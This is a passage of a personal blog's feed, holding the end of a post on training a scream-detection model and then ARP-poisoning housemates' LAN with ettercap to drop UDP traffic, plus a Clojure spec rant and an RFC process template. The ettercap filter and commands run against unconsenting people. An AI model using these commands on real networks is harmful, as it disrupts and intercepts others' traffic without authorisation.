<p>The images have been converted into greyscale, which should hopefully reduce the noise in the image as the model will be able to ignore colours since the blob is the important part. I have no idea if this helps or not, but I used to do this a lot in the past for my previous non-AI attempts at image recognition, so I just did it on habit. Either way, I doubt it would make the model worse so it's probably fine.</p>
<p>Each item is also resized into a 224px square so it's faster for the model to work through (the screamtrograms we generate are 1920 x 1440 pixels in size, which are <strong>wayyy</strong> to big).</p>
<p>Let's try a few training epochs now.</p>
<pre class="prettyprint linenums"><code class="python language-python">learn = cnn_learner(dls, resnet34, metrics=error_rate)
learn.fine_tune(<span class="hljs-number">5</span>)
</code></pre>
<p><img src="/img/2022-04-11_13-39.png" alt="training" /></p>
<p>Obviously I'm going to need to train this more than 5 times, but a 10% error rate is pretty decent for 5 runs! Let's pretend it's good enough for now and keep going.</p>
<p>I want to see if the model is making more false positives (it thinks "notscreams" are "screams") or false negatives (it thinks "screams" are "notscreams"). To visualise this, we can use a "confusion matrix."</p>
<pre class="prettyprint linenums"><code class="python language-python">interp = ClassificationInterpretation.from_learner(learn)
interp.plot_confusion_matrix()
</code></pre>
<p><img src="/img/scream-confusion.jpg" alt="confusion" /></p>
<p>Here we see that "notscreams" that were predicted as "screams" (3) are more than "screams" that were predicted as "notscreams" (1), so looks like it tends towards false positives. This can probably be ironed out with more training (I also didn't get all 600 images for training yet when I made this matrix) but I'll be keeping this in mind anyway.</p>
<p>After all the fine tuning is done (in the end I got it to around a 1% error rate after 100 runs and more data), we can export the model into an <code class="prettyprint">export.pkl</code>.</p>
<pre class="prettyprint linenums"><code class="python language-python">learn.export()
</code></pre>
<p>When we want to use the exported model we can use <code class="prettyprint">load_learner</code>.</p>
<pre class="prettyprint linenums"><code class="python language-python"><span class="hljs-comment"># Load pickle</span>
learn_inf = load_learner(<span class="hljs-string">&#x27;export.pkl&#x27;</span>)
<span class="hljs-comment"># Predict an image</span>
learn_inf.predict(<span class="hljs-string">&#x27;images/screamtrogram.png&#x27;</span>)
</code></pre>
<p>Now that our machine has learnt about screams, we can look at deciding what it should do when it detects one. It would be pretty easy to have it do what I did - log into the router and set a bandwidth limit, but there is another problem with this that I didn't explain before.</p>
<p>It would be pretty easy for my <del>victims</del> housemates to determine what happened to the Internet when it stops working. All they would need to do is login to the router and click through a few tabs, remove the bandwidth limit, and then change the router password to stop it from happening again.</p>
<p>For certain people, I would be OK with doing it this way because to be honest, I don't think most people know what a router does.</p>
<p>However, my housemates do, so this won't work and I'll need another method of attack.</p>
<p>I could try to torrent a bunch of Linux distros and hog all the bandwidth, but in my testing this was inconsistent in terms of having a consistent degradation of services (sometimes it would work, sometimes it wouldn't).</p>
<p>I don't really know what to do, what do you think?</p>
<hr />
<p>Actually, I do know what to do, and I don't care what you think. I'm done with this joke.</p>
<p>The answer is <a href="https://en.wikipedia.org/wiki/ARP_spoofing">ARP poisoning,</a> in which I send spoofed ARP packets to the LAN to associate my MAC address with the IP address of the router. In more simple terms, this means I can make everyone else's computer think I'm the router and send all their Internet traffic to me.</p>
<p>We can use <a href="https://www.ettercap-project.org">Ettercap</a> for this, as it's a pretty standard toolkit for man in the middle attacks. There a few possible ways of messing with peoples' Internet with this, but I'm going to be going through packet filtering.</p>
<p>First we'll need to create a filter source file for <code class="prettyprint">ettercap</code> to read.</p>
<pre class="prettyprint linenums"><code class="bash language-bash"><span class="hljs-built_in">cd</span> /usr/share/ettercap
<span class="hljs-built_in">sudo</span> vim dos.elt
</code></pre>
<p>I deliberated over what the best filter would be. Do I want to just drop all connections? Maybe only specific packets to Valorant servers? In the end, I decided upon a compromise between the two and dropping all UDP packets. This means that all normal HTTP traffic should work, but things like most multiplayer video games, some chat applications (like Discord), and video streaming services (like YouTube) will not.</p>
<p>This was done because I didn't want to actually play that trash game to figure out what IPs the Valorant servers use, and I wanted to limit the damage of false positives (I don't care too much about false negatives). For other services that use UDP like YouTube, dropping connections for several seconds is probably not that big a deal since the video gets buffered in advance, but for a real-time competitive game, it could lose you the round.</p>
<p>So in <code class="prettyprint">dos.elt</code>, add this to the file.</p>
<pre class="prettyprint linenums"><code class="js language-js"><span class="hljs-keyword">if</span> (ip.<span class="hljs-property">proto</span> == <span class="hljs-variable constant_">UDP</span>) {
    <span class="hljs-title function_">drop</span>();
}
</code></pre>
<p>Now we need to compile the code to a binary, and use it in an argument to <code class="prettyprint">ettercap</code>.</p>
<pre class="prettyprint linenums"><code class="bash language-bash"><span class="hljs-built_in">sudo</span> etterfilter dos.elt -o dos.ef
<span class="hljs-built_in">sudo</span> ettercap -T -q -F /usr/share/ettercap/dos.ef -M arp
</code></pre>
<p>And now, all UDP packets on your LAN will be dropped! You can open Wireshark and see all the packets that come from other computers in the LAN.</p>
<p>It might be a bit of a surprise to see how absurdly easy that was, and it just goes to show how Internet infrastructure is an insecure mess and TLS really is the only good thing we have in this world.</p>
<p>For anyone who doesn't know what ARP poisoning is and can't spot a man in the middle attack when one happens, this is practically undetectable. I don't think my housemates are going to check their ARP routing tables, or attempt to trace where their packets are going. I also don't think they know the difference between TCP and UDP, so they probably won't be able to make the connections on why only some things are broken but not others.<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span></p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>They should be able to figure out that it only happens to services that "stream" data, but not why. And if comes to it, I'll just start dropping all connections. I'll only use this when I want to sleep so it won't really affect me.</span></aside>
<p><strong>However</strong>, there is one last problem with this method in my house. And that is that we have two LANs - one for Ethernet and one for Wi-Fi (which is a separate mesh network to cover the entire house). I've created a simplified network diagram below to illustrate this.</p>
<p><img src="/img/network-diagram.png" alt="network diagram" /></p>
<p>My laptop only connects to the mesh network and doesn't have an Ethernet port (blame Framework for not making an expansion card for it yet).</p>
<p>Since most of the computers in the house connect with Ethernet, I'm not going to be able to poison them like this. Thankfully, the Wi-Fi access points are on the Ethernet LAN to connect to the Internet, so if I can connect to the main router and poison that, we should be golden.</p>
<p>Unfortunately, the only computer I have with an Ethernet port is my gaming PC, which I don't exactly want to leave on overnight since it's a bit power hungry. Instead I bought a Raspberry Pi which does come with an Ethernet port.</p>
<p>The idea here is that I can set up a HTTP server on the RPi (I can still see hosts on the main LAN from the mesh network), and whenever the model on the laptop detects a scream, send a request to the RPi and have that run <code class="prettyprint">ettercap</code> instead of my laptop.<span class="footnote-link" id="footnote-7"><sup>(7)</sup></span></p>
<aside class="footnote-body" id="footnote-7-body"><sup>(7)</sup><span>I could just move everything to the Raspberry Pi, but I doubt it would be able to run the model quickly enough. I mean, it's already pretty slow on this laptop (and I don't want to buy a microphone for it).</span></aside>
<p>It's kinda boring so I won't go through it, but the scream detection script and <code class="prettyprint">ettercap</code> server are in <a href="https://github.com/beanpuppy/wgyhtss/blob/main/wgyhtss.py">wgyhtss.py</a> and <a href="https://github.com/beanpuppy/wgyhtss/blob/main/wsgi.py">wsgi.py</a> respectively.</p>
<p>Something to note is how it requires a secret key for the client and server to talk. I just felt a little weird with having an endpoint to that can DOS everyone without any authentication (even if it's limited to the LAN).</p>
<p>And in another attempt to mitigate false positives, if a scream is predicted, the probability must be above 85%. I want the AI to be completely sure (or as completely sure as 85% can be) that it is in fact a scream.</p>
<p>I've also set the poisoning and filter to last for 30 seconds because that's both how long YouTube will buffer your video in advance and how long the buy phase time takes in Valorant (the start of the round where you buy weapons).</p>
<p>Having your connection dropped only during the buy phase time is not a huge deal because buying weapons doesn't take very long and you can still buy them after the phase ends, so I wanted to make sure ARP poisoning attack would at least cover over that time completely.</p>
<p>And if it happens during the actual round time instead of the buy phase, rounds can last at most 140 seconds (100s round time + 40s spike plant time). But they mostly only end up being at around 110 seconds for a game with teams of similar skill, so being out of it for 1/3-4 of that is a big deal.</p>
<p>The last thing to keep in mind is disk usage as the code never deletes anything, so all the recordings and images can add up (I have over 3,500 audio segments, and along with the accompanying 3,500 screamtrograms this adds up to 18GB). You'll obviously want to keep the <code class="prettyprint">train/</code> directory, but you can safely delete <code class="prettyprint">data/</code> every now and then as both <code class="prettyprint">wghytss.py</code> and <code class="prettyprint">create_data.py</code> will recreate the directory to use if it's missing.</p>
<p>Right, so that's it then. This took around two weeks to research, test different things, and get training data<span class="footnote-link" id="footnote-8"><sup>(8)</sup></span> so it was a decent amount of work, and I'm pretty happy with the outcome so I wouldn't call it a wasted effort.</p>
<aside class="footnote-body" id="footnote-8-body"><sup>(8)</sup><span>Yes, I only needed half a month to get 600 screams, and I wasn't even recording every day so I missed a lot.</span></aside>
<p>I think I did a good job but I still can't shake the feeling that there was an easier way of solving this issue.</p>
<hr />
<h2 id="21062022update">21/06/2022 Update</h2>
<p>Hello, I'm back with news!</p>
<p>They've stopped screaming! I've heard verry little (if anything, don't really remember) in the two months since I've made this post, so I'm going to count it as a success.</p>
<p>I don't actually know if it was because of me or if they got bored of Valorant or something (maybe both), but whatever - who cares, I can sleep now!</p>
<p>Also, I have a correction.</p>
<p>I mentioned that I was only going to drop UDP packets which meant that normal Internet websites should work perfectly fine. However, I forgot to factor in <a href="https://en.wikipedia.org/wiki/HTTP/3">HTTP/3</a>, the third version of HTTP which runs "QUIC" over UDP, and is supposed to make HTTP transactions faster.</p>
<p><a href="https://w3techs.com/technologies/details/ce-http3">25%</a> of websites and pretty much every popular one uses HTTP/3.<span class="footnote-link" id="footnote-9"><sup>(9)</sup></span> So, dropping UDP packets did actually make most websites not function.</p>
<aside class="footnote-body" id="footnote-9-body"><sup>(9)</sup><span>Including this one.</span></aside>
<p>It doesn't really matter now, but learning new things is fun.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Why The Fuck Did It Take Me This Long To Learn About clojure.spec?]]></title>
        <id>https://justin.duch.me/post/clojure_spec</id>
        <link href="https://justin.duch.me/post/clojure_spec"/>
        <updated>2022-03-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Here's a hot take: you can't add a static type system to a language that was originally dynamically typed without it becoming a horrible mess. Without the backing of the language from the start, any type system added on will be more unsound, incomplete, and generally complex compared to the "real" statically typed languages.</p>
<p>I avoid gradual type systems like mypy for Python or Sorbet for Ruby because they ruin the prototyping speed of these nice, simple, dynamic languages to add a shitty type system that only attempts to "fix" one specific problem of said dynamically typed languages and doesn't even "fix" it all that well.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Pro tip: if you're having issues with a language because it doesn't have static types, you can either change to a language that does or ideally, you can WRITE BETTER CODE. This isn't a joke, this is legitimate advice on how to solve your issue. You're welcome. Idiot.</span></aside>
<p>This even extends (but not as much) to supersets of dynamic languages that add a proper type system like TypeScript. Yes, it's nice that it has types from the ground up, but at the end of the day, <strong>it's just JavaScript</strong>… but with static types! WOW! There's only so much that adding static types can do for a language that treated types as a suggestion in the first place.</p>
<p>The designers of TS also had to consider the skill level of your average JS developer when designing the type system. JS developers do not understand type theory. They don't know what soundness and completeness means. They don't understand why certain things are covariant, invariant, contravariant, or bivariant.</p>
<p>I'm not saying they should as knowledgeable in type systems as Haskell developers but sometimes it feels like JS developers don't even have object permanence yet when you consider the amount of fundamental programming language design knowledge they have (or lack thereof). And you know what other category of human doesn't have object permanence yet? Babies.</p>
<p>I'm confirming it right now: JS developers are babies. You know it's true because this post is on the Internet. And the Internet never lies.</p>
<p>So the TS designers had to make the type system as easy as possible to understand so that all our two month old JS developers could use it while sipping on their baby bottles, playing on their iPads, and writing dark patterns for a mega corporation's website.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Babies have the minimum amount brain function and capacity required to write JS code but have not yet developed any morals or ethics, thus they are the best kind of developer for any mega corporation.</span></aside>
<p>Now, what is the result of this "easy to understand" type system?</p>
<p>A TYPE SYSTEM THAT IS LESS SOUND THAN MOST GRADUAL TYPE SYSTEMS LET ALONE ACTUAL TYPE SYSTEMS IN ACTUAL LANGUAGES THAT ANYONE WHO ISN'T A BABY WOULD USE.</p>
<p>A TYPE SYSTEM THAT IS MORE COMPLICATED AND CONVOLUTED THAN ACTUAL TYPE SYSTEMS WHEN YOU WANT TO DO ANYTHING MORE THAN SPECIFYING THAT SOMETHING IS AN OBJECT.</p>
<p>IT'S JAVASCRIPT WITH STATIC TYPES. WHY DO YOU THINK THAT FIXES ANYTHING? ONLY A BABY WOULD GET FOOLED BY THIS PROPAGANDA.</p>
<p>So anyway, for the past while I've resigned myself to my favourite dynamic language, Clojure, not having static types ever, because even with the meta programming power of being a Lisp I assumed it will still probably be a bit shit. And if I want types I might as go all out on not having any prototyping speed and just use Rust.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span></p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>Before you say something like "Go's prototyping speed is actually quite good because of the simplicity of the language." I would like you to please consider this counterargument: Go sucks.</span></aside>
<p>Enter Clojure <a href="https://clojure.org/guides/spec">spec</a>, and let me tell you, learning about this Clojure library has never made me so angry and aroused at the same time before. I've heard about spec before, but never really bothered to actually look into it until now. This was the worst mistake of my life,<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> I can't believe I've been writing "spec-less" Clojure code this entire time like some sort of fucking idiot who thinks 80 MB (half of which are from tracking scripts) is an acceptable size for a website.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>And I've made many mistakes in my life. For example: learning JavaScript.</span></aside>
<p>Spec is sort of a response to many people's main (although fair) gripe that Clojure doesn't have a static type system. But it's a response that they may not expected as it doesn't take the traditional approach of checking types statically. At a very fundamental level spec is a declarative language that describes data, their type, their shape. Spec follows the general philosophy of Clojure in that all of its functionality is available at runtime, you can use it, introspect it, generate it – there is no extra step before execution when the compiler checks your whole codebase for errors.</p>
<p>To be honest, a static type system and specs aren't actually all that comparable (I'm going to keep comparing them though). Specs can be considered a trade-off between static and dynamic typing, but I think it's an extremely compelling trade-off. Two of the big advantages of typed languages are communication (documentation) and robustness. These are gained back with spec and other good libraries like <a href="https://github.com/metosin/malli">malli.</a></p>
<p>What you get with spec goes way beyond what a strict, static type systems gets you, such as arbitrary predicate validation, freely composable schemas, automated instrumentation and property testing. You simply do not have these in a static world. It speaks to the power of Clojure (and Lisp in general) that these are just libraries, not external tools or compiler extensions.</p>
<p>One of the great thing about specs is how they are added à la carte and only applied to the things <strong>you</strong> specify, while static types have to be specific everywhere. I know you can technically do this in gradual type systems, but the point of a gradual type system is to <em>gradually</em> add types to an existing un-typed codebase. This will inevitably cause some types to be an implicit <code class="prettyprint">any</code> when you are trying to mix typed and un-typed code together, making it generally unsound.</p>
<p>This is great for prototyping because you can write and iterate over the implementation in your usual Clojure style and when it's done, write the spec for correctness, validation, testing etc. Of course, you can write the spec first as well and plan it out like that, but the point is that it's flexible and up to you.</p>
<p>I also find that you still need the same tests using a statically typed language that you would need using Clojure specs. The reason being that the type system does little to ensure semantic correctness.</p>
<p>Spec, on the other hand, validates and conforms any predicate (not just type) for the args, the return, and can also validate <strong>relationships</strong> between the two. All of this is external to the function's code, separating the logic of the function from being commingled with validation and documentation about the code.</p>
<p>For example, consider a sort function. The types can tell me that I passed in a collection of a particular type and I got a collection of the same type back. That's great, I know the types of things in the collection are correct, but did the collection actually get fucking sorted? This is what you really care about at the end of the day, does the function do what you intended.</p>
<p>This is difficult to express using most type systems out there, if not outright impossible. If we were to look at the language with the best type system, you could use <a href="https://gitlab.haskell.org/ghc/ghc/-/wikis/dependent-haskell">dependent types</a> to express it,<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> but it certainly wouldn't be something that you get for free with Haskell and certainly not in TypeScript. So you'll still have to write tests to ensure that the function is semantically correct for anything non-trivial.</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>Haskell's dependent types aren't the best example of depedant types, but I know literally nothing about the languages that actually have "correct" depedant types.</span></aside>
<p>None of the ideas in Clojure specs are new. In fact, I'm reminded of a language from the 80's that did something similar called Eiffel, with its <a href="https://www.eiffel.org/doc/solutions/Design_by_Contract_and_Assertions">"design by contracts and assertions"</a> which spawned this entire <a href="https://en.wikipedia.org/wiki/Design_by_contract">"Design by Contract"</a> approach to software.</p>
<p>I'm also not going to say the specs are the end of programming language design and that static types are officially CANCELLED, because <del>I'm too much of a Rust fanboy</del> I still think static types are good for certain things.<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span></p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>I also never said static types were bad.</span></aside>
<p>Static typing allows you to write monolithic projects that have lots of internal interdependencies. Refactoring often becomes painful when a particular piece of data is used in many parts of a monolithic project. When you change the shape of that data, then you have to make sure you update every place that uses it. This is where static typing can help ensure that you didn't miss anything in your refactoring and isn't really a spot that specs hit.</p>
<p>Right, so now I've just noticed that I haven't given <strong>any</strong> examples and that I probably should do that instead of rambling on for 1500+ words. But I'm not, because <del>I'm lazy</del> I want you to develop as a person and look for things yourself.</p>
<p>Good luck and goodbye.</p>
<p>Ok fine… <a href="https://www.youtube.com/watch?v=VNTQ-M_uSo8">here's a talk</a> by Stuart Halloway that just says everything I said but better (there are also examples part way through). You should have just watched that instead of reading this shit in all honesty. Idiot.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[A Meta RFC For The Implementation Of RFCs]]></title>
        <id>https://justin.duch.me/post/meta_rfc</id>
        <link href="https://justin.duch.me/post/meta_rfc"/>
        <updated>2022-02-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>This is an RFC for implementing RFCs I wrote for work and thought it would be good enough to publish here. It is mostly unchanged except for these things:</p>
<ul>
<li>Links to company documents have been replaced with fun videos.</li>
<li>My comments (originally on Notion) providing addition info have been written as footnotes.</li>
</ul>
<p>The RFC template is also at the end.</p>
<hr />
<h1 id="summary">Summary</h1>
<p>The RFC (Request For Comments) process is intended to provide a clear path for new ideas to enter the organisation. It also allows all team members to collaborate on the design in a consistent and controlled manner.</p>
<h1 id="motivation">Motivation</h1>
<p>The RFC process is meant to support, or preferably replace, the bigger items in the current <a href="https://www.youtube.com/watch?v=dbqnlRzSvSU">issues register</a> that take time to explain and discuss in engineering meetings.</p>
<p>RFCs allow for semi-formal, asynchronous communication that enable team members to put more time and thought into what they're proposing or commenting on instead of being rushed in a meeting that has lasted for over two hours (or is the cause of the meeting taking more than two hours). RFCs also ensure that we have proper documentation (along with conversation about it) surrounding proposed and planned changes, instead of being quickly jotted down in the aforementioned meeting.</p>
<p>Many items in the issues register are also early ideas that could benefit from a structured plan or document to be fleshed out over time.</p>
<h1 id="generalreference">General reference</h1>
<p>An RFC is a document that is created in the Notion RFCs page using the RFC template that introduces new ideas to the organisation. Team members can comment on the document to discuss the idea. When all team members agree that the idea is to be implemented or not, the document is set as <code class="prettyprint">Accepted</code> or <code class="prettyprint">Inactive</code>.</p>
<h1 id="technicalreference">Technical reference</h1>
<p>Larger changes to organisational processes should be submitted as RFCs. Examples of recent items from the issues register that should have been written as RFCs if implemented at the time are:</p>
<ul>
<li>Moving CI/CD to GitHub Actions.</li>
<li>Scraper job definitions.</li>
<li>Implementing the CQRS architecture pattern.</li>
</ul>
<p>Examples of changes that do not require an RFC:</p>
<ul>
<li>Rephrasing, reorganising, refactoring, or otherwise ("changing shape does not change meaning").</li>
<li>Additions that strictly improve objective, numerical criteria (changes where no tradeoff will need to be made and where the result is objectively better than what it was before in all situations).</li>
</ul>
<h2 id="whattheprocessis">What the process is</h2>
<p>RFCs are created in the <a href="https://www.youtube.com/watch?v=bm0nLJuRNbw">RFC page</a> in Notion by using the <a href="https://www.youtube.com/watch?v=02a723LsoFA">RFC Template</a>. RFCs are assigned an ID that is incremented by one from the previous RFC (I don’t think we actually need to do this, but it’s a standard and standards are fun!!)</p>
<p>In progress RFCs don’t have to be drafted in Notion. You could, for instance, use a text editor that supports Vim keybindings (as you should if you want to be a good engineer) and write the draft locally. But if it is on Notion and viewable by others, it should be given the <code class="prettyprint">Draft</code> status and no formal discussion should be done on the proposal until writing has been completed. When considered finished by the author, the RFC will be given the status of <code class="prettyprint">Active</code> and can be shown to (preferably announced on the engineering Slack channel) and discussed by other team members.</p>
<p>RFCs should also follow standard typography rules and be aesthetically pleasant for other members to read (Notion uses a superset of Markdown, so remember to use code blocks, links, tables, and other typographic elements when applicable). It is required to use correct formatting for a document, although in most cases that means following the template and adding more subheadings when necessary (use the “Heading 2 block” for subheadings).</p>
<p>Comments can be done using Notions' commenting tools (either on the entire page, or on singular text blocks). While active, RFCs are not immutable and are to be considered as “living documents” that can be changed according to the discussion surrounding them (Notion also provides the ability to “resolve” comments when a change has been made).</p>
<p>It is important to remember that the comments to an RFC are as important as the RFC itself, and anyone reading the RFC should also be reading the comments. This specific RFC has some extra contextual information I have written in as comments that are highlighted in yellow on Notion.</p>
<p>Also, please read the entire RFC first before commenting.</p>
<p>If all team members are happy with the RFC and the proposed changes, the status will change from <code class="prettyprint">Active</code> to <code class="prettyprint">Accepted</code> and work on the proposal can carry out. In comparison, an RFC that is rejected will be given the <code class="prettyprint">Inactive</code> status (it sounds nicer than “rejected”). When either accepted or not, the RFC is to be locked in Notion to prevent further edits.</p>
<h1 id="devilsadvocate">Devil’s advocate</h1>
<ul>
<li>RFCs may take some time to write to be able to properly explain all the details of a proposal.<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></li>
<li>Some people do not like writing, or reading. Kids these days… smh.</li>
</ul>
<h1 id="rationaleandalternatives">Rationale and alternatives</h1>
<p>The RFC process gives a good balance of formality and agility over current processes, as it discourages un-actionable or vague items, and gives confidence to team members on why processes are being implemented. It is a tried-and-true methodology used by many in the industry and can help team members to communicate effectively and share important knowledge and context.</p>
<p>Other prominent processes used in the industry include <a href="https://www.industrialempathy.com/posts/design-docs-at-google/">Google’s design docs</a> and <a href="https://github.com/joelparkerhenderson/architecture-decision-record">Architecture Decision Records (ADRs)</a>.</p>
<p>I find that design docs are <em>too</em> structured and formal for a fast-paced agile team (Google recommends docs have a length of 6 to 12 pages 😐) and enforce too many specific subsections that may not be applicable in all circumstances. This can lead to the author being confused on which subsections to include. Comparatively, the sections of an RFC are often overarching enough for an author to be able to find something to put in the section, no matter the subject.</p>
<p>ADRs can vary widely in structure depending on the template used, which may help in some cases, but can typically be its own detriment as the process will need to go through much more iteration to conform with the team than RFCs or design docs, both of which have standard historical precedents on what the process should look like.</p>
<p>In general, RFCs have a slightly more informal tone than either, which can help alleviate some peoples’ aversion to writing or reading technical documentation. I believe them to be a good mix between formality and informality that can still convey information in a concise and efficient manner.</p>
<p>Alternatively to all other options, we could maintain current processes for discussing ideas, but possibly start writing things down a bit more.</p>
<h1 id="priorart">Prior art</h1>
<p>The RFC process started in 1969 on ARPANET and was first written by Steve Crocker. He did so to avoid “<a href="https://web.archive.org/web/20220209055611/https://www.nytimes.com/2009/04/07/opinion/07crocker.html">sounding presumptuous</a>” when compiling notes from a meeting of graduate students and staff. Other members of the group soon followed suit, writing RFC memos of their own, printing them out, and mailing the documents to one another in the era before email.</p>
<p>The RFC process is now used by a number of open-source projects, including prolific frameworks and languages such as Ember, React, Vue, Swift, and most importantly (for obvious reasons that I won’t get into), <strong>Rust</strong>, to propose, implement, and plan new features. Some companies, including <a href="https://artsy.github.io/blog/2019/04/11/on-an-rfcs-process/">Artsy</a> and <a href="https://blog.pragmaticengineer.com/scaling-engineering-teams-via-writing-things-down-rfcs/">Uber</a>, have also adopted the process for introducing technical, and in Artsy’s case - <em>cultural changes</em>, internally to help scale the planning and decision-making process for a growing team.</p>
<p>In these instances RFCs are especially helpful to culture and community, while some organisations might reach an agreement by decree of engineering leadership, RFCs provide a more egalitarian approach.</p>
<h2 id="asidenoteonculturalimpact">A side note on cultural impact</h2>
<p>Apart from the obvious technical benefits, I have found that the RFCs (specifically the discussion part) in other communities can be useful when rejecting ideas. A well explained, well argued, and well reasoned RFC will require a similarly well explained, well argued, and well reasoned argument against it, which may soften the blow for an author whose RFC is being shut down. The asynchronous communication helps with this by allowing opponents to put more thought into their constructive criticisms and word them properly.<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a></p>
<p>In the same vein as Steve Crocker trying not to “sound presumptuous”, the name “Request For Comments” sets the tone of the document for the author as a way to say “I’m throwing this idea out there, what do you all think?” This can help with emotionally distancing the author from the proposal and being more open to criticism.<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a></p>
<p>Documenting big decisions more transparently empowers everyone on a team, regardless of skill level or experience, to both observe and participate in the surrounding discussions. And since writing is a friendly medium for distributed teams, the asynchronous nature of RFCs can contribute to a more inclusive culture that welcomes anyone to take part in the conversation.</p>
<h1 id="openquestions">Open questions</h1>
<ul>
<li>Does this RFC template and process work well with the team? What further refinements should be made?</li>
</ul>
<h1 id="futurepossibilities">Future possibilities</h1>
<ul>
<li>If used a lot, more metadata should be added as Notion properties for easier filtering of the RFCs page.</li>
<li>RFCs may be used outside of engineering and could become a part of “general product development”.</li>
<li>The RFCs Notion page could be connected to a Slack channel to allow readers to be easily be updated on changes.</li>
</ul>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: Au fait, not all RFCs will need to be this long (1500+ words), I’m doing this to set a good precedent for future ones.</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: There’s much more I want to say about this, but this part RFC is getting too long, so here it is in a comment:</div>
<p><small>
Many engineers like to point out something wrong the moment they see it. I think we are very good at it because we’re basically trained for it. When it comes to code reviews, or design reviews for complicated distributed system protocols, we want to be able to spot flaws as quickly as possible. But there’s a point where it just becomes a habit.</p>
<p>Habits are usually formed with three factors – trigger, behaviour and reward. It's the same thing that drives the “feel sad” → “eat chocolate” → “feel good” cycle. For engineers, the cycle is “see a problem” → “spot flaws” → “feel good”. After this cycle gets reinforced, it leads to a more deeply rooted habit - you must point out something wrong the moment you see it.</p>
<p>Trying to spot flaws in a system is not a bad thing, obviously. However, when we are dealing with people, the knee-jerk reflex of pointing out something is wrong might lead to negative feelings from the other side; and hurt relationships. This is when we should take a pause before pointing out something is wrong. Think about how to deliver the feedback before actually doing it.</p>
<p>It is especially important if you are not familiar with the full context - which is almost never the case.  Yes, things can be “wrong” due to lack of knowledge or incompetence. Sometimes. But not always.</p>
<p>I think it is important then to try to be curious and understand why something is the way it is first. Something an RFC process provides in spades and something I don’t think should be underestimated.
</small></p>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: This is also similar to why I’ve called the “negatives” section “devil’s advocate”.</div>
<p><small>
The negatives against RFCs I’ve put in here are genuinely my best effort of trying to find them, but I still found them very weak. So much so, that I’ve considered removing them entirely because I didn’t think they were even worth mentioning.</p>
<p>Instead, I think calling it “devil’s advocate” helped me justify putting them in the document “for the sake of argument” even if I don’t agree with them.</p>
<p>Of course, there is no real issue with calling it the “negatives” or “drawbacks” section instead if that is what you prefer.
</small></p>
<hr />
<h1 id="summary-1">Summary</h1>
<p>One paragraph explanation of the proposal.</p>
<h1 id="motivation-1">Motivation</h1>
<p>Why are we doing this? What use cases does it support? What is the expected outcome?</p>
<h1 id="generalreference-1">General reference</h1>
<p>Explain the proposal as if it was already used in the organisation, and you were teaching it to another team member for the first time.</p>
<p>That generally means:</p>
<ul>
<li>Introducing new named concepts.</li>
<li>Explaining the feature largely in terms of examples.</li>
<li>Explaining how members should <em>think</em> about the proposal, and how it should impact the way they work. It should explain the impact as detailed as possible.</li>
<li>Giving sample code for basic usage, if applicable.</li>
</ul>
<h1 id="technicalreference-1">Technical reference</h1>
<p>This is the technical portion of the RFC. Explain the design in sufficient detail that:</p>
<ul>
<li>Its interaction with other features is clear.</li>
<li>It is reasonably clear how the feature would be implemented.</li>
<li>Corner cases are dissected by example.</li>
</ul>
<p>The section should return to the examples given in the previous section, and explain more fully how the detailed proposal makes those examples work.</p>
<h1 id="devilsadvocate-1">Devil’s advocate</h1>
<p>Why should we <em>not</em> do this?</p>
<h1 id="rationaleandalternatives-1">Rationale and alternatives</h1>
<ul>
<li>Why is this design the best in the space of possible designs?</li>
<li>What other designs have been considered, and what is the rationale for not choosing them?</li>
<li>What is the impact of not doing this?</li>
</ul>
<h1 id="priorart-1">Prior art</h1>
<p>Discuss prior examples (positives and negatives) of this proposal being done in other various organisations, projects, etc.</p>
<p>This section is intended to encourage you as an author to think about the lessons from other projects, and to provide readers of your RFC with a fuller picture. If there is no prior art, that is fine as well - your ideas are interesting whether they are brand new or if it is an adaptation from other projects.</p>
<p>History lessons are also encouraged. 🙂</p>
<h1 id="openquestions-1">Open questions</h1>
<p>You can specifically request comments on certain parts of your proposal here.</p>
<h1 id="futurepossibilities-1">Future possibilities</h1>
<p>Think about what the natural extension and evolution of your proposal would be, and how it would affect the organisation and project as a whole in a holistic way. This is also a good place to "dump ideas", if they are out of scope for the RFC you are writing but otherwise related.</p>
<p>If you have tried and cannot think of any future possibilities, you may simply state that you cannot think of anything.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Early Impressions Of The Framework Laptop]]></title>
        <id>https://justin.duch.me/post/framework_impressions</id>
        <link href="https://justin.duch.me/post/framework_impressions"/>
        <updated>2022-02-02T00:00:00.000Z</updated>
